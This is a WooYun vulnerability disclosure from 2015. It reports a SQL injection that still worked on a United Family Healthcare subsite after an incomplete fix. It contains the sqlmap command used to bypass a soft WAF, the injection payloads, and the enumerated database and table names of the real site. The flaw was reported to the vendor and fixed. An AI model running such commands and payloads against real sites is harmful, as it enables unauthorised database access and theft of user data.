当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163866

漏洞标题:和睦家某站修复不当继续SQL注入

相关厂商:ufh.com.cn

漏洞作者: 路人甲

提交时间:2015-12-23 15:00

修复时间:2016-01-05 09:17

公开时间:2016-01-05 09:17

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-23: 细节已通知厂商并且等待厂商处理中
2015-12-23: 厂商已经确认,细节仅向厂商公开
2016-01-02: 细节向核心白帽子及相关领域专家公开
2016-01-05: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

URL:http://life.ufh.com.cn/guidelist.php?g_id=10
之前提过一个 和睦家回复说已修复此漏洞
厂商回复:
医院官方主页,篡改后会对影响医院声誉
最新状态:
2015-12-21:供应商已修复此漏洞
WooYun: 和睦家医院某站sql注入
测试发现,应该就是加了个软waf 加个延时可以继续注入
C:\Python27\SqlMap>Sqlmap.py -u http://life.ufh.com.cn/guidelist.php?g_id=10 --t
ime-sec=20 --tamper=space2comment
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=10 AND 8003=8003
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=10 AND (SELECT * FROM (SELECT(SLEEP(20)))CzTv)
---
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=10 AND 8003=8003
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=10 AND (SELECT * FROM (SELECT(SLEEP(20)))CzTv)
---
back-end DBMS: MySQL 5.0.12
current database: 'life_wp'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=10 AND 8003=8003
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=10 AND (SELECT * FROM (SELECT(SLEEP(20)))CzTv)
---
back-end DBMS: MySQL 5.0.12
Database: life_wp
[28 tables]
+-----------------------+
| wp_activity |
| wp_apphos |
| wp_apply |
| wp_channel |
| wp_commentmeta |
| wp_comments |
| wp_forgetpwd |
| wp_guide |
| wp_home |
| wp_hospital |
| wp_links |
| wp_member |
| wp_options |
| wp_order |
| wp_pack |
| wp_pactivity |
| wp_personnel |
| wp_postmeta |
| wp_posts |
| wp_prize |
| wp_sign |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_terms |
| wp_usermeta |
| wp_users |
| wp_wechat |
| wp_winning |
+-----------------------+

漏洞证明:

RT

修复方案:

过滤啊

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-23 15:55

厂商回复:

谢谢白帽,管运营的IT狗不懂代码,只能靠供应商去修改

最新状态:

2016-01-05:修复完成